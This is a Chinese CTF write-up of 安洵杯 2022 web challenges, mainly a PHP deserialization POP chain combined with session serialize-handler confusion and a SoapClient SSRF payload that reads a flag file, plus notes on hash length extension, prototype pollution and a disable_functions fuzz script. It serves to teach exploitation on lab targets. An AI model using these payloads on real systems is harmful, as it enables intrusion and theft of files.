• 安洵杯 2022 复现


    babyphp

    知识点:原生类的利用,session 反序列化
    
    • 1
    
    //something in flag.php
    
    class A
    {
        public $a;
        public $b;
    
        public function __wakeup()
        {
            $this->a = "babyhacker";
        }
    
        public function __invoke()
        {
            if (isset($this->a) && $this->a == md5($this->a)) {
                $this->b->uwant();
            }
        }
    }
    
    class B
    {
        public $a;
        public $b;
        public $k;
    
        function __destruct()
        {
            $this->b = $this->k;
            die($this->a);
        }
    }
    
    class C
    {
        public $a;
        public $c;
    
        public function __toString()
        {
            $cc = $this->c;
            return $cc();
        }
        public function uwant()
        {
            if ($this->a == "phpinfo") {
                phpinfo();
            } else {
                call_user_func(array(reset($_SESSION), $this->a));
            }
        }
    }
    
    
    if (isset($_GET['d0g3'])) {
        ini_set($_GET['baby'], $_GET['d0g3']);
        session_start();
        $_SESSION['sess'] = $_POST['sess'];
    }
    else{
        session_start();
        if (isset($_POST["pop"])) {
            unserialize($_POST["pop"]);
        }
    }
    var_dump($_SESSION);
    highlight_file(__FILE__);
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47
    • 48
    • 49
    • 50
    • 51
    • 52
    • 53
    • 54
    • 55
    • 56
    • 57
    • 58
    • 59
    • 60
    • 61
    • 62
    • 63
    • 64
    • 65
    • 66
    • 67
    • 68

    链子很好构造

    B:__destruct  =>  C:__toString  =>  A:__invoke  =>  C:uwant
    
    • 1
    
    class A{
    	public $a;
        public $b;
    }
    
    class B
    {
        public $a;
        public $b;
        public $k;
    }
    class C
    {
        public $a;
        public $c;
    }
    $b = new B();
    $c = new C();
    $a = new A();
    $b->a = $c;
    $c->c = $a;
    $a->a = '0e215962017';
    $a->b = new C();
    $a->b->a = 'succ3';
    echo serialize($b);
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26

    增加属性绕过 __wakeup 即可

    O:1:"B":3:{s:1:"a";O:1:"C":2:{s:1:"a";N;s:1:"c";O:1:"A":3:{s:1:"a";s:11:"0e215962017";s:1:"b";O:1:"C":2:{s:1:"a";s:5:"succ3";s:1:"c";N;}}}s:1:"b";N;s:1:"k";N;}
    
    • 1

    链子构造好了,那么里面的 call_user_func(array(reset($_SESSION), $this->a)); 该怎么用呢?

    call_user_func(array($a, $b));
    其中的$a要是一个类,$b为类中方法
    
    • 1
    • 2

    我们看这一段:
    d0g3 存在时,就可以写一个 post 值到 session 里,那么传什么值呢?

    if (isset($_GET['d0g3'])) {
        ini_set($_GET['baby'], $_GET['d0g3']);
        session_start();
        $_SESSION['sess'] = $_POST['sess'];
    }
    else{
        session_start();
        if (isset($_POST["pop"])) {
            unserialize($_POST["pop"]);
        }
    }
    var_dump($_SESSION);
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12

    这边就要看 flag.php 了,很明显需要用 soapclient 原生类构造 get 数据来访问它。

    
    session_start();
    highlight_file(__FILE__);
    //flag在根目录下
    if($_SERVER["REMOTE_ADDR"]==="127.0.0.1"){
        $f1ag=implode(array(new $_GET['a']($_GET['b'])));
        $_SESSION["F1AG"]= $f1ag;
    }else{
       echo "only localhost!!";
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10

    且在 flag.phpnew $_GET['a']($_GET['b']) 可以用原生来读取目录,也可以读取文件。
    原生类详解处

    那么我们是不是可以构造一个利用 soapclientget 方式在本地访问 flag.php 并传参的脚本,且在 flag.php 中会把值存入 session,那么我们是不是就可以通过 session 值来获取 flag 了,这边我就用一下 y4 大佬的脚本了。

    
    
    $target = 'http://127.0.0.1/flag.php?a=SplFileObject&b=/f1111llllllaagg';
    $post_string = 'data=dir';
    $headers = array(
        'X-Forwarded-For: 127.0.0.1',
    );
    $b = new SoapClient(null,array('location' => $target,'user_agent'=>'y4tacker^^'.join('^^',$headers),'uri' => "ssrf"));
    
    $a = serialize($b);
    $a = str_replace('^^',"\r\n",$a);
    $a = str_replace('&','&',$a);
    echo urlencode($a);
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13

    那么到这里思路一下子就清晰了,先利用 ini_set($_GET['baby'], $_GET['d0g3']);$_POST['sess'],设置 session 反序列化器为 php_serialize,这样的话我们把上面的 ssrf payload 传进去并在最前面加一个 |,在取出的时候由于 session 的默认反序列化器是 php 而造成反序列化漏洞。(session 反序列化介绍

    payload:

    ?d0g3=php_serialize&baby=session.serialize_handler
    sess=|O%3A10%3A%22SoapClient%22%3A5%3A%7Bs%3A3%3A%22uri%22%3Bs%3A4%3A%22ssrf%22%3Bs%3A8%3A%22location%22%3Bs%3A60%3A%22http%3A%2F%2F127.0.0.1%2Fflag.php%3Fa%3DSplFileObject%26b%3D%2Ff1111llllllaagg%22%3Bs%3A15%3A%22_stream_context%22%3Bi%3A0%3Bs%3A11%3A%22_user_agent%22%3Bs%3A36%3A%22y4tacker%0D%0AX-Forwarded-For%3A+127.0.0.1%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D
    
    • 1
    • 2

    传入的时候可以看出,还是正常的。
    在这里插入图片描述
    当我们以默认 PHP 处理器来访问时,它就会解析,把 | 前面的当做键值,后面的反序列化,这边也就是一个 Soapclient 类,但如果想要触发 ssrf ,我们还要访问一个Soapclient 中不存在的方法,到这是不是恍然大悟了。

    在这里插入图片描述
    没错就是下面这句,前面的 reset($_SESSION) 也就是上图的 Soapclient$this->a 为方法名,那么是不是是要随便给 $this->a 附一个值就可以触发 ssrf 了。

    call_user_func(array(reset($_SESSION), $this->a));
    
    • 1

    poc 链就是上面那个。

    O:1:"B":3:{s:1:"a";O:1:"C":2:{s:1:"a";N;s:1:"c";O:1:"A":3:{s:1:"a";s:11:"0e215962017";s:1:"b";O:1:"C":2:{s:1:"a";s:5:"succ3";s:1:"c";N;}}}s:1:"b";N;s:1:"k";N;}
    
    • 1

    执行访问,会显示页面无法正常运作,因为这个 pop 链并没有形成闭合,最后没有 return 一个 String 来给B类的__toString() 方法我们只要重新访问一下页面就可以了。
    在这里插入图片描述
    可以看到本地的 session 值已经有了。接下来就是替换 session 值了。
    在这里插入图片描述
    成功获取 flag,对了 flag 文件的名字可以通过 DirectoryIterator 原生类来比配获得,其他操作一样。

    http://127.0.0.1/flag.php?a=DirectoryIterator&b=glob:///f*
    
    • 1

    在这里插入图片描述

    EZ_JS

    知识点:哈希长度拓展攻击
    
    • 1
    
    
    • 1
    • 2
    • 3
    • 4

    利用 hashpump 工具,安装步骤如下:

    git clone https://github.com/bwall/HashPump
    apt-get install g++ libssl-dev
    cd HashPump
    make
    make install
    
    • 1
    • 2
    • 3
    • 4
    • 5

    哈希长度拓展攻击

    在这里插入图片描述
    登录时看到如下图的 jsfuck 代码,放到 console 运行一下,注意前面的注释要删掉。
    在这里插入图片描述
    运行后会弹个框,告诉我们要 admin 大写。
    在这里插入图片描述

    在这里插入图片描述
    一登进去就显示 flag,嗯~~?,啥情况,看了大佬的 wp,才发现原来访问 infoflllllag 是显示源码的,也不知道是哪位大佬这么牛。
    在这里插入图片描述

    var express = require('express');
    var router = express.Router();
    const isObject = obj = >obj && obj.constructor && obj.constructor === Object;
    const merge = (a, b) = >{
        for (var attr in b) {
            if (isObject(a[attr]) && isObject(b[attr])) {
                merge(a[attr], b[attr]);
            } else {
                a[attr] = b[attr];
            }
        }
        return a
    }
    
    const clone = (a) = >{
        return merge({},
        a);
    }
    router.get('/',
    function(req, res, next) {
        if (req.flag == "flag") {
            flag;
            res.send('flag?????????????');
        }
        res.render('info');
    });
    router.post('/', express.json(),
    function(req, res) {
        var str = req.body.id;
        var obj = JSON.parse(str);
        req.cookies.id = clone(obj);
        res.render('info');
    });
    module.exports = router;
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34

    eazyupload

    知识点:原生类,echo 16 进制
    
    • 1

    师傅们牛笔

    
    $payload = 'glob:///f*';
    $final = '';
    for($i=0;$i<strlen($payload);$i++){
        $final .= '\x'.bin2hex($payload[$i]);
    }
    echo $final;
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7

    没想到还可以这么干,用 16 进制。
    在这里插入图片描述

    • 1

    在这里插入图片描述
    通过 phpinfo 可以知道它 disable_function 的函数,fuzz 一下可以知道有哪些方法可用

    • 1

    在这里插入图片描述
    在这里插入图片描述

    fuzz 脚本写的一般,师傅们如果有更好的方法,望推荐!!!

    
    $array = get_defined_functions();
    $fuzz = "....";//disable_function
    $fuzz = str_replace(' ','',$fuzz);
    foreach($array['internal'] as $arr){
    	if(strpos($fuzz,$arr)!==false){
    		continue;
    	}else{
    		echo $arr."\n";
    	}
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11

    refercence

    https://www.ctfiot.com/81036.html
    
    • 1
  • 相关阅读:
    零代码编程:用ChatGPT将SRT字幕文件批量转为Word文本文档
    Llama 3 开源了「GitHub 热点速览」
    java中的泛型
    设计模式--kotlin&java
    ch1_系统启动_setup.S
    Ajax文档和案例
    Spring依赖注入与控制反转
    CAS号:2578-57-6,H2N-PG-OH
    Centos系统上安装包(软件)时常用的命令wget、rpm、yum分别是什么意思和作用?
    Inno Setup 选择安装路径的问题
  • 原文地址:https://blog.csdn.net/shinygod/article/details/128070202